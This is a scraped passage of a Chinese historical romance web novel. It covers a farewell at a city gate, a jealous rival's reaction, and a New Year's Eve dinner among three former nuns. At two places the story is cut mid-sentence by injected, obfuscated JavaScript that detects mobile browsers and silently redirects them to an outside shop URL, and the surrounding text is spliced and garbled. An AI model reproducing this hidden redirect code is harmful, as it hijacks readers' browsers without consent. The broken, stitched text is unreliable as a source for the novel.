从古至今,这样的事不在少数。可她始终相信,天网恢恢,疏而不漏。总有一天,做了亏心事的人会得到报应。 过了半晌,她才抬起头,看着静尘:“师姐,我不甘心。可他说,让我记着这个不甘心。往后做事,就多一分警醒。” 静尘听着,若有所思地点了点头。 静心从外头跑进来,手里攥着几朵月季花苞,脸冻得红红的,笑嘻嘻地往许娇娇面前一递。 “给你。我在枝上摘的,回头养在水里,过两天就开了。” 许娇娇接过那几朵花苞,看着静心逐渐长开的脸。那双小小的眼睛其实很传神,淡淡的弯眉下,一双眸子纯然清澈,养得白净细腻的脸上,此刻漾着天真的笑意。 “谢谢静心师姐。”许娇娇轻声向她道谢。 “哎呀,娇杏妹妹。”静心表情夸张地瞪大了眼睛,“你可很少叫我师姐!莫不是你想让我给你绣香囊送情郎,才肯叫我一声?” 她转向静尘,告状似的嚷起来:“师姐,你看看娇杏,一点都不害臊。” “我看你才不害臊,张口情郎闭口情郎的。”静尘嗔怪地点了点静心的额头,“回头我就找官媒给你寻摸一个婆家,看你还淘气不。” “师姐,我看对面甜水巷豆腐坊的顾三郎似乎对咱静心师姐有意,”许娇娇一脸笑意,拍手赞成,“回头你找人问问。” “师姐,娇杏,你们两个欺负我!”静心急了,上前揪着静尘的衣襟摇起来,“我可不喜欢顾三郎,他家兄弟那么多,闹哄哄的。再说了,顾家阿婆太厉害,我可吃不消。往后我才不要找婆家,我就跟着娇杏,她去哪里我就去哪里。我就给你们做饭吃。” “瞎说什么。”许娇娇拉着静心的手,让她坐在自己身边,“你消停会。” 她抬手摸了摸静心的头发,语气温柔下来:“静心,你比我大一岁,今年也十五了。这两年你的头发也长长了,再说你和师姐都还俗了,怎么能说不嫁人的话?往后我必定给你寻一个好的婆家,绝不让人欺负了你去。” “娇杏妹妹,你是不是不想要我了,想赶我走?”静心的脸色忽然变了,声音低沉下来,“从我跟着你和师姐起,我就没打算嫁人。” 她低下头,手指绞着衣角,声音越来越轻:“嫁人有什么好?遇到好的还好,若是遇到那不好的婆家,往后有的苦吃。我阿爹将我卖了,我阿娘一句话都不敢说。我阿爹不顺心,总是对我阿娘拳脚相向……那种日子,我一天也不想再过。” 她抬起头,眼眶有些红,却努力挤出笑来:“好娇杏,往后我就跟着你,给你做饭吃。你给我的菜谱,我基本上都学会了,你还说我做得十分地道呢!往后你要是嫁人了,我就给你做好吃的,绝不饿着你。” “傻静心。”许娇娇听得心里发酸,她没想到静心竟有这样的打算。 “伺候人有什么好?”她握住静心的手,认真地看着她,“你如今不是谁的丫鬟,也不是奴籍。你是良民,自己会做很多菜,往后自己开个小店,再招几个伙计帮着做事,多好。你非要上赶着给我做厨娘,你说你傻不傻?” “随她吧。”静尘在边上听着,心中也是暗暗伤怀。 静心从小在那样的环境中长大,养成了她胆小怕事的性子。其实跟着娇杏,比在外面自己开店要强上许多。最起码娇杏聪慧,能力强,医术也佳,能护着她们。她心中也是想跟着娇杏的,哪里也不去。往后就算娇杏嫁人生子,她也好帮着照应一二。 “再过两年,她或许会有不同的想法。如今她还未开窍。”静尘轻声说。 许娇娇叹了口气。 罢了,总归有自己照应着。往后她若是想开了,自己再给她寻摸。如今考虑这些,着实有些早了。 水仙姑的威胁已经解除,她和静尘的卖身契也在官府消了契,如今她们都是良民。静心的性格还带着几分孩子的天真,什么事也不管,只是喜欢琢磨吃食。前些日子她缠着许娇娇,让许娇娇教她上次请裴宴吃饭时做的那几道菜。许娇娇抽空给她写了个菜谱,让她自己去琢磨。 静心之前不识字,被静尘逼着学了一段,如今简单的字都认得。她说这就够了,她又不像娇杏,要去给人看诊治病,只管自己厨房那一亩三分地。如今她听到“看书”两个字就嚷着头疼,常惹得静尘和许娇娇哭笑不得。 许娇娇也就随她去。有些人并不适合读书,却自有她们的天赋。静心的点心,如今已经做得十分有样子了。 吃过早饭,许娇娇收拾停当,准备去张记坐诊。 静尘递过她的药箱,叮嘱道:“路上当心。今儿风大,别冻着。” 许娇娇点点头,接过药箱,又摸了摸怀里的玉佩,它还在,贴着心口的位置,带着她的体温。 她推开门,冷风扑面而来,巷子里静悄悄的。旺财跟到门口,摇了摇尾巴,又缩回窝里去了。 许娇娇拢紧披风,往巷口走去。 走到巷口时,她忽然停下脚步,回头看了一眼。 小院静静地立在那里,青瓦白墙,炊烟袅袅。静尘站在院门口,正目送着她。见她回头,静尘微微笑了笑,摆了摆手。 许娇娇也笑了,转过身,大步往前走去。 张记生药铺里已经忙开了。伙计们在柜台后头抓药、打包,进进出出地搬货。廖大夫坐在诊案后头,正给一个老妇人把脉,见她进来,点了点头。 “许娘子,你可算来了!昨儿个有好几个病人问起你,我说你回老家去了,他们还不信,说是不是出了什么事。” 许娇娇笑了笑,一边系围裙一边道:“没事,就是回了趟落溪村,看看长辈。今儿个病人多吗?” “多!”廖大夫道,“这不快过年了嘛,都想抓几副药备着,怕年节里铺子关门。还有几个老病号,说是等你回来复诊。” 许娇娇点点头,走到诊案后坐下。 一天下来,看了二十几个病人,忙得脚不沾地。可再忙,她心里也时不时想起昨夜的事。想起他说“在”时的眼神,想起那块温润的玉佩,想起他把令牌收回去时,掌心里握的那一瞬。 傍晚回到柳枝巷,静尘和静心已经把饭做好了。三个人围坐在桌前,边吃边说话。静心叽叽喳喳地说着今儿在巷子里看见的事,谁家吵架了,谁家来了亲戚,谁家的小狗又跑丢了。静尘偶尔应一两句,许娇娇只是听着,嘴角微微弯着。 吃过饭,许娇娇帮着收拾碗筷,静尘赶着她让她去忙自己的事,这里有她们俩人在就行。但她还是帮着将碗筷收进厨房,三人将厨房收拾利索,静心又去烧热水。说娇杏每天要洗漱,她提前备好热水。 外头传来敲门声。 静尘去开门,不多时,领着长风进来。 “许娘子,”长风站在厨房门口,脸上带着笑,“郎主让小的来给娘子送个信儿。” 许娇娇擦干手,迎出去。 长风从怀里取出一封信,双手递上。信封上没写字,封着口,薄薄的一封。 “这是郎主让小的转交娘子的。”长风道,“郎主还说,他明日便要启程回京复命,就不来向娘子辞行了。娘子若有事,可让人去京城镇国公府寻他。” 明日就走? 许娇娇愣了一下,接过那封信,指尖微微有些发颤。 “这么急?”她问。 长风点点头:“皇命在身,耽搁不得。再说年关将近,郎主要回京复命。崔琰的案子虽判了,后续还有许多事要料理。郎主这几日忙的脚不沾地,就连尚书第,也只是打发小的们送了信去请辞。” 许娇娇听着,心里说不出是什么滋味。 她低头看着那封信,薄薄的一封,捏在手里却沉甸甸的。 “劳烦长风大哥转告裴安抚,”她抬起头,努力让自己的声音平稳些,“他的心意,民女收到了。愿他一路顺风,平安抵达京城。” 长风点点头,又看了她一眼,似乎想说什么,终究没说,拱了拱手,转身离去。 院门关上,脚步声渐渐远了。 许娇娇站在院子里,手里握着那封信,一动不动。 静尘走过来,轻轻拍了拍她的肩:“进屋看吧,外头冷。” 许娇娇回过神,点了点头,进了自己屋里。 她点起灯,坐在炕沿上,拆开信封。 信纸是上好的宣纸,折得整整齐齐。展开来,上面只有短短几行字,字迹挺拔如松,一如他本人。 “许娘子惠鉴: 昨夜一晤,甚慰。令尊之事,已遣人赴京查访。若有消息,当遣人告知。 珍重。 裴宴顿首 许娇娇捧着那封信,一字一字看了三遍。 信很短,没有一句多余的话。可她看着,眼眶却微微有些发热。 她把信贴在胸口,闭上眼,深深吸了一口气。 窗外,夜风吹过,传来树叶唰唰的声音,远处传来几声犬吠,还有更夫敲梆子的声音,一下,两下,三下。 亥时了。 她睁开眼,把信小心折好,和那块玉佩放在一起。又从枕下取出那本许大郎的医案,翻开,就着灯光,一页页看下去。 那些龙飞凤舞的字迹,那些力透纸背的批注,那些记录在案的一个个病患,仿佛透过泛黄的纸页,在她眼前活了起来。 阿爹是个好郎中。 她合上医案,抬起头,望着窗外的夜色。 京城。 那个她从没去过的地方,那个阿爹阿娘拼命逃离的地方,那个藏着无数秘密的地方。 终有一日,她会去的。 翌日,天还未亮,许娇娇起了个大早。 去了北城门口。 没想到城门已经开了。人来人往,挑担的、赶车的、牵驴的,熙熙攘攘涌进城来。她站在路边的茶摊旁,要了一碗茶,慢慢地喝。 等了约莫半个时辰,一队人马从城内驶来。 最前面是两排青衣劲装的侍卫,骑着高头大马,腰悬长刀,面容冷峻。中间是一辆青帷马车,车帘遮得严严实实。后面还跟着几辆装行李的骡车,以及几十个骑马随行的护卫。 许娇娇站在人群里,看着那队人马缓缓驶过。 马车经过她面前时,车帘忽然掀开了一角。 她看见了那张脸。 冷峻的眉眼,紧抿的唇角,那双深邃的眼睛正朝她望来。 四目相对,两人都是一怔,裴宴似乎是想说些什么,可马车却越过许娇娇“嘚嘚”地往前走去。许娇娇往前跟了几步,最终却又停下来。她不知道要说些什么,只是心里发紧,眼眶酸胀。 车帘在远处落下,马车继续往前行去。 许娇娇站在原地,看着那队人马越走越远,最后消失在官道尽头。 风卷起地上的落叶,打着旋儿从她身边掠过。她拢了拢披风,转身漫无目的往回走。 眼泪却不由自主的落了下来,她声音有些哽咽,却不知如何是好。 不应该的,为什么会这样?她茫然的想。 身后有蹄声阵阵,在她身边停下。 她一无所觉。只是停下脚步,从怀中取出那块如意纹的玉佩。 羊脂白玉,温润细腻,在冬日的阳光下泛着柔和的光。 她把玉佩紧紧握在手中,感受着它的暖意。 眼前忽然一黑,她不解地抬头,去赫然发现那个离去的人就站在她的面前,正垂着眼,目光紧紧锁在她脸上,“为何哭泣?”他问。 许娇娇忙伸手去拭脸颊,才发现自己泪流满面,她慌忙用手擦拭。 “谁哭了,我没哭。”她低下头,声音闷闷的。 “为何哭泣?”他似乎不耐烦,又问了一遍。 “没有为什么,想哭就哭。”许娇娇扭过身子,继续低头。 “嘴真硬。” 裴宴轻叹一声。抬手扳过她的身子,用指腹轻轻挑起她的下巴,仔细端详着她。 许娇娇用力想低头,不想让他看见自己狼狈的模样。 ”别动,” 他用拇指轻轻替她拭去腮边的泪痕。他的指腹微凉,动作却很轻,一下,又一下。 “别哭,” 他说。“声音低了下来。 然后,他将她轻轻拥进怀里。 许娇娇僵住了。他的衣袍上有清冷的松风气息,混着极淡的云头香。她的耳朵正贴在他心口的位置,那一声声沉稳有力的心跳,隔着衣料传来,一下,又一下,像是另一句未曾出口的话。 “我把玉佩给了你,”他的声音从头顶传来,带着胸腔微微的震动,“你竟还不明白么?” 许娇娇没有抬头,声音闷在他怀里:“你给我玉佩的时候,一句话也不曾说。我如何明白?” 裴宴沉默了一瞬。 片刻后,他低下头,下巴轻轻抵在她的发顶。 “傻丫头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她知道自己不该来。裴表哥回京,她一个未出阁的姑娘,没有理由来送行。可她忍不住。她想知道他走的时候是什么样子,想最后看他一眼,哪怕只是远远地看着。 天不亮她就起了,瞒着老夫人和李氏,只带着贴身丫鬟芙蕖,悄悄雇了马车等在城门口。 她以为会看见他策马而过的英姿,会看见他冷峻的侧脸,会看见他远去的背影。她只想看一眼,就一眼。 可她看见了什么? 她看见他勒马停在路边。看见他走向那个女子。看见他把她拥进怀里。看见他把额头抵在她发顶,那么轻,那么珍重。 她听不见他们在说什么,可那动作,那姿态,那眼神...... 这是她做梦也想不到的一幕,她跌坐在车厢里,双手紧紧握着胸口的衣襟,指节泛白,脸色惨白如纸,” “娘子!娘子!”芙蕖吓得连忙扑过去,用手按着她的心口,声音发颤,“娘子你怎么了?你别吓芙蕖……” 沈淑宁没有回答。 她只是死死盯着车帘缝隙外的那一幕,盯着那两个人。看着他把那女子揽在怀里,看着他用指腹替她拭泪,看着他低头和她说话,那侧脸,是她从未见过的温柔。 她从未见过裴宴那样笑。 在她记忆里,裴宴表哥永远是疏淡的,有礼的,温和却隔着距离的。他看她的目光,和对别人没什么两样——客气,礼貌,却永远隔着一层。 她以为他就是那样的人。 可此刻,她看见了不一样的他。 那个他会笑,会温柔,会把一个人拥在怀里轻声细语说话...... 只是,那个人不是她。 “娘子……”芙蕖的声音带着哭腔,“咱们回去吧,回去好不好?” 沈淑宁没有动。 她只是看着,看着那两个人终于分开,看着裴宴翻身上马,看着那女子站在原地,望着他离去的方向,久久没有动。 她看见那女子低下头,摊开掌心,看着什么东西。隔得远,她看不清那是什么,可她猜得到,一定是裴宴表哥给她的。 沈淑宁的心像被人用手狠狠攥住,一下一下地疼。 她想起那年春日,她还小,一个人坐在廊下发呆。裴宴表哥走过来,陪她坐了一下午,还用帕子变出一只蝴蝶给她。她以为那是只给她的温柔,她珍藏了许多年。 原来,那不是只给她的。 他对谁都可以那样温柔。只是她傻,她以为自己是特别的。 “娘子,咱们走吧……”芙蕖已经哭了,使劲拉着她的袖子。 沈淑宁终于松开攥着衣襟的手,那双手抖得厉害。她张了张嘴,想说什么,却发现自己一个字都说不出来。 马车外,那队人马已经走远了。那女子也转身往回走,渐渐消失在晨雾里。 沈淑宁闭上眼,靠在车壁上。 心口疼得厉害,像是有什么东西碎了。 她一直以为自己有机会的。沈家和裴家是姻亲,她是沈家嫡女,她见过他,她喜欢他,她觉得……总有一天,他会看见她的。 可原来,他早就看见了别人。 那个别人,不是京城的贵女,不是世家的小姐,而是一个还俗的尼姑,一个乡野的女医。 她凭什么? 沈淑宁猛地睁开眼。 那双眼睛里,有泪,有不甘,还有一丝连她自己都没察觉的暗色。 “芙蕖。”她的声音沙哑,像是从喉咙里挤出来的。 芙蕖吓得一抖:“娘、娘子……” “今日的事,”沈淑宁盯着她,一字一句道,“你若敢说出去半个字,我……” 她顿了顿,没有说下去。 可那眼神,已经足够让芙蕖心惊胆战。芙蕖拼命点头:“奴婢不说!奴婢什么都不说!” 沈淑宁又闭上眼,靠回车壁上。 马车缓缓驶动,往城内而去。 她掀开车帘一角,最后看了一眼城外。 官道尽头空荡荡的,什么也没有了。 她放下车帘,把脸埋进掌心。 眼泪无声地滑落。 许娇娇回到柳枝巷时,静尘和静心已经起来了。静尘在院子里晾衣裳,静心蹲门口的石阶上。看样子是在等她。 “娇杏回来了!”静心看到她笑了起来。 “你怎么坐在门口,不冷吗?”许娇娇顺手拉起静心。 “不冷,我在等你呢!”静心反手拉着她,“走,吃饭去,我给你做了你最爱吃的小笼包。” 静尘抬起头,“去哪儿了?一早就没见你。” 许娇娇笑了笑:“去城门口看了看。” 静尘看着她,发现她的眼睛有些红,便目光里带了些许担忧,却没有再问。 旺财听到动静跑过来围着她摇着尾巴转圈。那只从落溪村带回来的母鸡已经和旺财混熟了,大摇大摆地在院子里踱步,偶尔低头啄两口食。 “娇杏娇杏,咱们吃完早饭去逛街可好?快过年了,我想买新衣裳,还想买红纸写对联,还想买……” 许娇娇被她逗笑了,伸手点点她的额头:“急什么,还有小半个月呢。慢慢逛,慢慢买。” 静心嘻嘻笑着点头。 94. 第94章 除夕 裴宴走后,许娇娇的日子又恢复到原来的样子,偶尔也去一趟仁心堂,和赵药师聊聊药方的配伍,说说近来遇到的疑难病症。赵药师性子沉稳,医术精湛,总能给她一些独到的见解,有时也会提起归平县的旧事,言语间满是对水仙姑伏法、水月庵罪孽败露的唏嘘,却从不多问她的过往,只在她偶尔神色恍惚时,递上一杯热茶,轻声劝一句“凡事慢慢来,莫急”。许娇娇心里十分感激赵药师,他是个真正医药界端方正直的大医。 日子转眼就到了腊月二十九。 除夕。 这是一年中最热闹的日子,也是万家团圆的日子。菰城的街头早已被浓浓的年味包裹,家家户户都在忙着扫尘、贴春联、备年货,街头巷尾摆满了卖春联、福字、灯笼的小摊,吆喝声、讨价还价声、孩童的嬉闹声交织在一起,暖意融融。 许娇娇从张记生药铺出来时,天已经擦黑了。今日是张记年前最后一日坐诊,张东家为人宽厚,不仅给几个坐堂大夫都包了厚厚的分红,给店里的伙计们也准备了红包,还特意给许娇娇多塞了一罐上好的龙井,笑着说:“许娘子这一年辛苦了,多亏了你,店里的生意比往年好了不少。这罐茶你拿回去,过年时泡着喝,也算沾沾喜气。”许娇娇再三推辞不过,只好收下,连连向张东家道谢。 晚风带着冬日的凉意,却吹不散空气中弥漫的饭菜香和年味。许娇娇拢了拢身上的披风,脚步轻快地往柳枝巷走去。远远地就看见巷口挂着两盏红灯笼,是刘寡妇挂的,说是添些年味。巷子里飘着各家各户的饭菜香,偶尔传来几声孩童的笑闹。 推开院门,一股暖意扑面而来。 院子里也挂了两盏小灯笼,是静心缠着静尘挂的。虽然小,却也红彤彤的,照得满院喜庆。厨房里飘出炖肉的香味,静心系着围裙在灶前忙活,静尘蹲在灶膛前添柴,两个人有说有笑。 “回来了?”静尘从厨房探出头来,“快去洗洗手,马上开饭。静心做了你最喜欢的红烧肉和猪肉白菜馅的饺子。” 静心也停下手中的活,转过身,脸上满是邀功的神情:“是啊娇杏,我今天特意跟着你之前写的菜谱做的红烧肉,还放了你说的冰糖和料酒,肯定好吃!还有饺子,我包了好多,里面还放了铜钱和糖块,谁吃到谁就有福气!”她说着,还拿起一个包好的饺子,得意地晃了晃,那饺子白白胖胖的,捏得不算精致,却透着一股可爱。 许娇娇应了一声,看着她们忙碌的身影,眼底涌起一阵热意。她忙低头进屋,换了身干净的素色衣裙,又洗了手脸,出来时,饭菜已经摆上了桌。一张小小的方桌,被擦得干干净净,上面摆满了菜肴:一锅热腾腾的羊肉汤,汤色奶白,香气扑鼻;一碟红烧肉,色泽红亮,肥而不腻;一碟清炒青菜,翠绿爽口;一碟酱肘子,软烂入味;还有一大盘白白胖胖的饺子,整齐地摆放在盘子里,冒着淡淡的热气。除此之外,静心还摆上了一小碟花生、一小碟瓜子,还有一瓶自己酿的桂花酒,虽然酒精度不高,却也透着淡淡的桂花香。 三个人围坐在一起,静心先给她盛了一碗羊肉汤,“娇杏,你先喝碗羊肉汤暖暖身子,今天风大,肯定冻着了。这羊肉汤我炖了一下午,放了生姜和萝卜,一点都不膻。” 说着又给静尘盛了一碗,“师姐,你也来一碗,今天你帮我烧火,当了一天烧火丫头辛苦了。”说着自己先笑了起来。 “你这丫头,胆子肥了,敢开师姐的玩笑。”许娇娇笑着点了点静心的脸颊。指尖触到那温热的肌肤,心里忽然软软的。 静心笑着由给她夹了一个饺子放在碗中,“娇杏你尝尝这个,慢慢吃,这个是我包的。” 许娇娇夹起饺子蘸了醋,慢慢咬了一口,馅果然是猪肉白菜的,还掺了些静心自己晒的干蘑菇,鲜美得很。“好吃。”许娇娇点头。 “再吃一口,再吃一口,”静心催她。 许娇娇又咬了一口,发现有些硌牙,她愣了一下,吐出来一看,掌心躺着一枚被汤汁浸得油亮的铜钱。 “吃到糖,日子甜;吃到签,中状元。若是吃到大角子,福运一年满又满!”静心看到娇杏吐出的铜钱,哈哈笑着拍手,嘴里唱起不知从哪里学来的祝福语,声音清脆,在冬日的黄昏里格外悦耳。 “静心非要往饺子里包这个,没有硌到吧!”静尘有些担心,又给她夹了两个饺子放进碗里。 “没有,怎么会硌到,我很小心的。”许娇娇笑着把那枚铜钱擦干净,收进袖中。给静心和静尘各夹了两个饺子。“谢谢师姐的祝福,一起吃,往后我们都会顺顺利利,平平安安的。” 三人喝着桂花酒,吃着热气腾腾的饭食,窗外暮色渐沉,屋里烛光摇曳,暖意融融。不知从谁家传来几声犬吠,远处偶尔响起零星的鞭炮声。快过年了,总有人家等不及,提前放几挂鞭炮热闹热闹。 不知不觉间,一瓶桂花酒见了底。 “这酒好喝。”许娇娇轻轻打了个酒嗝,平日里白皙细嫩的脸颊浮起一抹淡粉,衬得眉眼愈发温软,真真是人比花娇。 “是不是有些醉了?”静尘看着许娇娇懒洋洋靠在椅背上的模样,有些担忧。 “无妨。”许娇娇摆了摆手,声音也比平日软了几分。这点酒精度算什么,想当年她和朋友吃饭,一瓶茅台两人喝完,她还能扶着墙自己走回家。只是那时候的灯火比现在亮,那时候的笑声比现在吵,那时候坐在对面的人……她忽然想不起那些人的脸了。 许娇娇低头看着杯中残酒,烛光映在酒液里,晃出一片迷离的光晕。 她忽然有些恍惚。 这酒是静心酿的,用的是巷子口那棵桂花树的花,去年秋天她们一起摇下来的。那时她站在树下,静尘拿着竹竿轻轻敲打枝桠,静心撑开一块旧布接着,金黄的桂花簌簌落下,落了她满头满身,静心笑着说她变成了桂花仙子。 那是多久以前的事了?好像就在昨天,又好像已经过了很久很久。 她看着桌上那盏摇曳的烛火,看着静心脸上傻乎乎的笑,看着静尘温柔望着她们的眼神,看着那盘还冒着热气的饺子,看着窗外渐渐浓重的夜色—— 她是谁呢? 她是许娇杏,落溪村许大郎和柳氏的女儿,逃出水月庵的小尼姑,张记生药铺坐诊的女医。她也是许娇娇,来自另一个时空的异乡人,喝过茅台吃过火锅,见过高楼大厦车水马龙。 可此刻,那些遥远的记忆忽然变得模糊起来,像隔着一层磨砂的玻璃,影影绰绰,看不真切。而眼前这一切,这间小小的屋子,这两个待她如亲人的女子,这满桌用心烹煮的饭菜,这带着桂花香气的酒。却清晰得让人心头发烫。 她是谁呢? 她端起酒杯,又抿了一小口。酒液滑过喉咙,温热的,带着桂花的甜香。 “娇杏?”静尘的声音从耳边传来,轻轻的,带着担忧,“你哭了?” 许娇娇一愣,抬手摸了摸脸颊,果然一片潮湿。 她什么时候哭的?她自己都不知道。 “没事。”她弯起嘴角,任由眼泪滑进笑容里,“就是……太高兴了。” 静尘没有说话,只是伸出手,轻轻覆上她的手背。 静心也凑过来,把自己的手叠上去,三只手摞在一起,像小时候玩过的叠罗汉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413284|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“娇杏,”静心认真地看着她,眼睛亮晶晶的,“往后每年过年,我们都这样过。每年都包饺子,每年都放铜钱,每年都喝桂花酒。你要是嫁人了,我就去你家给你包饺子;你要是去京城了,我就跟着你去京城给你包饺子。反正我赖上你了,你别想甩掉我。” 许娇娇听着这话,眼泪流得更凶了,却笑得更灿烂了。 “好。”她说,声音有些哽咽,却一字一字清清楚楚,“往后每年都这样过。” 窗外,不知谁家又放了一挂鞭炮,噼里啪啦响了一阵,惊起几只归巢的鸟,扑棱棱飞过夜空。 屋里,三个人围坐在小桌前,手还摞在一起,谁也没有松开。 烛火跳动着,在她们脸上投下温暖的光。 这一刻,许娇娇忽然不再去想自己是谁。 她是许娇杏也好,是许娇娇也罢。她来自哪里,要去往何处,这些都不重要了。 酒意涌上来,她的眼皮有些沉,恍惚中她听见静尘问她,“过了年,你有什么打算?” 许娇娇微微一怔,抬起眼睑看向她。 静尘的目光沉静,像一潭深水:“那些信,那些事,你总要去查的。往后的事,你想好了吗?” 许娇娇沉默了一会儿,思绪却清晰了起来:“我想先把阿爹的医书整理出来。他的医案里,记着很多有用的东西。还有一些方子,我想试一试,看能不能做出些成药来。” 她伸手按了按额头,继续道:“至于那些往事……急不得。裴安抚说帮我查,总要等他的消息。若是有眉目,我就进京一趟。” 静尘点点头,没有说话。 许娇娇看着她,轻声道:“师姐,你们……” “我们当然跟你一起。”静尘打断她,声音很轻,却很坚定,“你去哪儿,我们就去哪儿。” 许娇娇用力点点头。 “师姐……谢谢你。” “说什么谢不谢的。”静尘拍拍她的手,“咱们是一家人。” 窗外,夜空中忽然绽开一朵烟花,紧接着又是一朵。红的、绿的、金的,在漆黑的夜幕上炸开,绚烂夺目。 静心跑出来,仰着头看,嘴里“哇、呀”地叫着。 许娇娇和静尘也走到院子里,并肩站着,看着那些烟花。 远处传来隐约的锣鼓声,不知是哪家在办社火。更近的地方,有孩童在巷子里追逐笑闹,喊着“过年了过年了”。 许娇娇仰头看着那些烟花,心里忽然涌起一股暖流。 她想起去年这时候,自己还蜷在张东家后院的柴房里,裹着薄被,听着外面的热闹,心里又冷又空。那时候她以为,这辈子就这样了。 可如今,她有师姐们陪着,有这个小院,有张记的活计,有阿爹留下的医书,还有那个人...... 她把手伸进怀里,摸了摸那块玉佩。玉佩温温的,贴着她的心口。 “娇杏,”静心跑过来,拉着她的手,“明儿一大早,我要穿那件新做的衣裙,我们都要穿新衣。” 许娇娇低头看着她,笑着点头。 “好。” 静心又跑去看烟花了,静尘进屋去收拾。许娇娇一个人在院子里站了一会儿,看着那些烟花明明灭灭,听着远处的锣鼓和近处的笑闹。 她忽然想起那首诗,阿娘写的那首诗: “妾家本住横塘路,门前流水桃花坞。十五嫁作良人妇,二十年来如一梦。梦中忽忆旧时妆,对镜簪花双鬓香。醒来不见画堂燕,唯有青山送夕阳。” 阿娘的那个梦,已经碎了。 可她的梦, 还在。 95. 第95章 破五 转眼已到正月初五。 这一日俗称“破五”,家家户户送穷土,迎财神,商铺开市,年味渐收。柳枝巷里一大早就热闹起来,隔壁刘寡妇家的小虎子在巷子里放鞭炮,噼里啪啦响了一阵,硝烟味儿飘得满巷都是。 许娇娇是被那鞭炮声吵醒的。 她躺在床上,听着外头的动静,却没有立刻起身。除夕那夜的酒意早就散了,可那种微醺时心里涌起的暖意,却一直留到现在。她侧过身,透过窗纸看着外头透进来的光,嘴角不自觉弯了弯。 那日在城门口望着车队远去后,她已经好些日子没有这样弯起嘴角了。 “娇杏!”静心的声音从院子里传来,清脆得像只雀儿,“快起来!今儿开市,咱们去逛庙会!” 许娇娇笑着应了一声,起身穿衣。 外头比前几日暖和了些,太阳虽还没出来,天边却已经透出一层淡淡的金光。静心穿着那件新做的桃红褙子,衬得脸色愈发白净,在院子里转着圈儿给旺财看,嘴里问着“好不好看好不好看”。旺财蹲在窝边,懒洋洋地摇着尾巴,也不知是应和还是敷衍。 静尘端着一盆热水从厨房出来,见许娇娇推门,笑道:“醒了?快洗脸,今儿有庙会,去晚了人多挤不动。” 许娇娇接过帕子,一边擦脸一边问:“庙会在哪儿?” “府学街那边,”静尘道,“从初一开到十五,年年如此。有杂耍的,有卖吃食的,还有卖各种小玩意儿的。静心从初一就念叨着要去,今儿总算开市了。” 静心跑过来,扯着许娇娇的袖子:“娇杏娇杏,咱们快些吃饭,吃了就去。我听刘婶说,今年有从北边来的杂耍班子,能喷火,能吞剑,还能让猴子翻跟头!” 许娇娇被她那急切的模样逗笑了,伸手捏捏她的脸:“急什么,庙会又不会跑。” “万一去晚了,好位置被人占了怎么办?”静心急了,“刘婶说,那杂耍班子一天只演两场,上午一场,下午一场。咱们要是去晚了,只能站在后头,什么都看不见!” 静尘在一旁摇头:“这丫头,从昨儿夜里就开始念叨,我耳朵都快起茧子了。” 许娇娇笑着答应:“好好好,咱们吃了饭就去。” 早饭是静心早起做的,一大锅热气腾腾的八宝粥,配上年前腌的萝卜干和酱黄瓜,还有几个刚出锅的菜包子。三个人围坐在小桌前,就着咸菜喝粥,静心一边吃一边往窗外张望,嘴里念念有词。 静尘夹了个包子放进她碗里:“好好吃饭,看把你急的。” 静心嘻嘻笑了一声,低头啃包子。 吃过饭,收拾停当,三人正准备出门,院门忽然被敲响了。 静尘去开门,进来的是刘寡妇。她穿着一身簇新的酱色袄裙,头发梳得光溜溜的,脸上带着笑,身后跟着她家那个虎头虎脑的小虎子。 “许娘子,静尘师父,静心姑娘,”刘寡妇笑呵呵地道,“你们也要去逛庙会吧?咱们一道走,路上也有个伴。” 静心高兴得直拍手:“太好了!小虎子也去,咱们一块儿热闹!” 虎子躲在刘寡妇身后,偷偷看着静心,脸上带着几分腼腆的笑。一双眼睛又大又亮,很是讨人喜欢。 静心走过去,拉着他的手:“虎子,等会儿姐姐给你买糖人吃。” 虎子眼睛一亮,小声说:“谢谢姐姐。” 一行人出了门。巷子里已经有了人,几个妇人在门口晒太阳说话,见了她们,都笑着打招呼。 路过崔娘子家门口时,许娇娇往那边瞥了一眼。 那两扇门紧紧闭着,门上的封条被风吹得边角翘起,在日光下泛着惨白的光。门口堆积着几片枯叶和一些零碎的杂物,台阶缝里钻出几根青黄的草芽,透着一股人去楼空的萧条。 许娇娇的脚步顿了顿。 自从崔旺死在湖里,崔娘子判了斩监候,翠玉楼的案子听说还有一些细节需要重申,一干重犯年前就押往京城了。至于崔巧娘—— 她暗暗叹了口气。 那姑娘内向胆小,见了人就躲,如今爹娘都没了,也不知那个所谓的“阿叔”待她如何。但愿是个厚道人罢。 “作孽哟。”刘寡妇也望着那扇门,摇了摇头,“这崔家,平日里真看不出来,竟然是杀人犯。如今落得这般田地,也是活该。” 虎子仰着头,懵懂地问:“阿娘,那家人怎么了?” 刘寡妇摸摸他的头:“犯了事,被官府抓走了。往后那屋子就空着了。” 虎子“哦”了一声,也没多问,又低头玩手里的风车去了。 静心在一旁小声问:“刘婶,那崔家的巧娘,听说被人接走了?” 刘寡妇点点头,压低声音凑过来几分:“可不是。来接她们的,是个男子,三十来岁,穿着体面,看着不像寻常人。那巧娘叫他‘阿叔’,想来是亲戚。” 她顿了顿,又道:“我听隔壁巷子的孙婆说,那男子以前常来崔家,和崔旺称兄道弟的。崔旺死后,他还来吊唁过,在灵前磕了头,哭了一场。后来崔娘子被抓,他还托人往牢里送过东西。倒是个有情有义的。” 静尘在一旁轻声问:“是崔家的亲戚?” 